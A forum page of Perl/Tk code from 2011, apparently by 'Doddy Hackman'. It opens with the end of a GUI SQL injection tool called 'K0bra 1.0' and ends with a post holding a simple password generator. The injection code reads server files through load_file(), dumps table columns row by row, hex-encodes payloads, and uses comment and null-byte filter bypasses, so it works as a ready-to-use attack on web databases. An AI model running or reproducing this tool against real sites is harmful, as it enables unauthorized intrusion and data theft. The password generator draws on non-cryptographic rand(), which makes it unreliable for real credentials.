    $loa = MainWindow->new();
    $loa->title("load_file helper");
    $loa->geometry("380x400+20+20");
    $loa->resizable(0,0);

    $loa->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>20,-y=>20);
    my $aa = $loa->Entry(-width=>40,-text=>$pag)->place(-y=>23,-x=>80);
    $loa->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>60,-x=>23);
    my $tea = $loa->Entry(-width=>20,-text=>"C:\leer.txt")->place(-y=>63,-x=>63);
    $loa->Button(-text=>"Encode",-width=>8,-command=>\&eno)->place(-y=>62,-x=>200);
    $loa->Button(-text=>"Show",-width=>8,-command=>\&ena)->place(-y=>62,-x=>263);

    $loa->Label(-text=>"Output",-font=>"Impact1")->place(-x=>160,-y=>130);
    my $mo = $loa->ROText(-width=>45,-height=>15)->place(-y=>170,-x=>25);

    sub eno {
    my $t = $tea->get;
    if ($t=~/0x/) {
    $tea->configure(-text=>decode($t));
    } else {
    $tea->configure(-text=>encode($t));
    }
    }

    sub ena {

    $mo->delete("0.0","end");

    my $page = $aa->get;
    my $save = comer($page);

    savefile($save.".txt","\n");
    ($pass1,$pass2) = &bypass($bypass);
    if ($page =~/(.*)hackman(.*)/g) {
    my $start = $1; my $end = $2;
    my $file = $tea->get;
    $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(".encode($file)."),char(69,82,84,79,82,56,53,52))))";
    $code = toma($start.$concat.$end.$pass2);
    if ($code =~/ERTOR854(.*)ERTOR854/g) {
    $mo->insert("end",$1);
    savefile($save.".txt","[File Found] : $file");
    savefile($save.".txt","\n[Source Start]\n");
    savefile($save.".txt","$1");
    savefile($save.".txt","\n[Source End]\n");
    } else {
    Win32::MsgBox("Error",0,"K0bra 1.0");
    }}}}

    sub dum {

    my $pa = $targetero->get;

    $max = MainWindow->new();
    $max->title("Dump Values");
    $max->geometry("480x380+20+20");
    $max->resizable(0,0);

    $max->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);
    my $tata = $max->Entry(-width=>40,-text=>$pa)->place(-y=>23,-x=>110);

    $max->Label(-text=>"Table : ",-font=>"Impact1")->place(-x=>50,-y=>60);
    my $tato = $max->Entry(-width=>20)->place(-x=>105,-y=>63);

    $max->Label(-text=>"Column1 : ",-font=>"Impact1")->place(-y=>90,-x=>50);
    my $tatu = $max->Entry(-width=>20)->place(-x=>130,-y=>93);

    $max->Label(-text=>"Column2 : ",-font=>"Impact1")->place(-y=>130,-x=>50);
    my $tita= $max->Entry(-width=>20)->place(-y=>133,-x=>130);


    $max->Button(-width=>10,-text=>"Extract",-command=>\&tengor)->place(-y=>20,-x=>360);

    $max->Label(-text=>"Column1",-font=>"Impact1")->place(-x=>100,-y=>180);
    $max->Label(-text=>"Column2",-font=>"Impact1")->place(-x=>300,-y=>180);

    my $duta1 = $max->Listbox(-width=>20)->place(-y=>210,-x=>70);
    my $duta2 = $max->Listbox(-width=>23)->place(-y=>210,-x=>260);


    sub tengor {

    $duta1->delete("0.0","end");
    $duta2->delete("0.0","end");

    my $page = $tata->get;
    my $tabla = $tato->get;
    my $col1 = $tatu->get;
    my $col2 = $tita->get;

    my $save = comer($page);

    savefile($save.".txt","\n");

    ($pass1,$pass2) = &bypass($bypass);
    if ($page=~/(.*)hackman(.*)/){
    my $start = $1;
    my $end = $2;
    $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
    $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
    $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
    if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
    $tota = $1;
    savefile($save.".txt","[Table] : $tabla");
    savefile($save.".txt","[+] Length of the rows: $tota\n");
    savefile($save.".txt","[$col1] [$col2]\n");
    for my $limit(0..$tota) {
    chomp $limit;
    $injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
    savefile($save.".txt","[$col1] : $1   [$col2] : $2");
    $duta1->insert("end",$1);
    $duta2->insert("end",$2);
    } else {
    last;
    }}
    } else {
    Win32::MsgBox("Error",0,"K0bra 1.0");
    }}}}

    sub per1 {

    my $he = MainWindow->new();
    $he->title("Hex Converter (C) Doddy Hackman 2011");
    $he->geometry("420x70+20+20");
    $he->resizable(0,0);
    $he->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);
    my $cam = $he->Entry(-width=>30)->place(-y=>24,-x=>65);
    $he->Button(-text=>"Encode",-width=>10,-command=>\&paso1)->place(-y=>20,-x=>255);
    $he->Button(-text=>"Decode",-width=>10,-command=>\&paso2)->place(-y=>20,-x=>325);

    sub paso1 {

    my $caca = $cam->get();
    chomp $caca;

    $cam->configure(-text=>encode($caca));

    }

    sub paso2 {

    my $caca = $cam->get();
    chomp $caca;

    $cam->configure(-text=>decode($caca));

    }
    }


    sub per2 {

    my $hexae = MainWindow->new();
    $hexae->title("Ascii Converter (C) Doddy Hackman 2011");
    $hexae->geometry("420x70+20+20");
    $hexae->resizable(0,0);
    $hexae->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);
    my $cama = $hexae->Entry(-width=>30)->place(-y=>24,-x=>65);
    $hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3)->place(-y=>20,-x=>255);
    $hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4)->place(-y=>20,-x=>325);


    sub paso3 {

    my $caca = $cama->get();
    chomp $caca;

    $cama->configure(-text=>ascii($caca));

    }

    sub paso4 {

    my $caca = $cama->get();
    chomp $caca;

    $cama->configure(-text=>ascii_de($caca));

    }

    }

    sub china {
    my $de = $targetero->get;
    my $save = comer($de);
    my $file = $save.".txt";
    system("start logs/webs/$file");
    }

    sub bypass {
    if ($_[0] eq "/*") { return ("/**/","/*"); }
    elsif ($_[0] eq "%20") { return ("%20","%00"); }
    else {return ("+","--");}}

    sub ascii {
    return join ',',unpack "U*",$_[0];
    }

    sub ascii_de {
    $_[0] = join q[], map { chr } split q[,],$_[0];
    return $_[0];
    }


    sub encode {
    my $string = $_[0];
    $hex = '0x';
    for (split //,$string) {
    $hex .= sprintf "%x", ord;
    }
    return $hex;
    }

    sub decode {
    $_[0] =~ s/^0x//;
    $encode = join q[], map { chr hex } $_[0] =~ /../g;
    return $encode;
    }


    sub toma {
    return $nave->get($_[0])->content;
    }

    sub savefile {
    open (SAVE,">>logs/webs/".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }

    sub comer {
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
    return $auth;
    }

    # ¿ The End ?
#460
Perl / [Perl TK] GenPassword
Julio 03, 2011, 10:01:06 PM
Un simple generador de contraseñas

Imagen






Código: perl

#!usr/bin/perl
#Gen Password (C) Doddy Hackman 2011

use Tk;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $sin = MainWindow->new();
$sin->title("Gen Password (C) Doddy Hackman 2011");
$sin->geometry("530x80+20+20");
$sin->resizable(0,0);

$sin->Label(-text=>"Result : ",-font=>"Impact1")->place(-x=>30,-y=>20);
my $rex = $sin->Text(-width=>28,-height=>1)->place(-y=>24,-x=>90);
$sin->Label(-text=>"Length : ",-font=>"Impact1")->place(-x=>310,-y=>20);
my $leng = $sin->Entry(-width=>3,-text=>3)->place(-y=>24,-x=>370);
$sin->Button(-text=>"Generate",-command=>\&gen,-width=>12)->place(-y=>22,-x=>410);

MainLoop;


sub gen {

$rex->delete("0.0","end");
my $ala = $leng->get;

my @password = genpass($ala);
for $pass(@password) {
$rex->insert("end",$pass);
}}

sub genpass {

my $length = shift;

my @re;

my @mayus = (A..Z);
my @minus = (a..z);
my @number = (0..9);
my @op = (1..3);

for (1..$length) {

my $opt = @op[rand(@op)];
if ($opt eq 1) {
push(@re,@mayus[rand(@mayus)]);
}
elsif ($opt eq 2) {
push(@re,@minus[rand(@minus)]);
}
elsif ($opt eq 3) {
push(@re,@number[rand(@number)]);
}
}
return @re;
}

#Thanks to explorer (perlenespanol)
# ¿ The End ?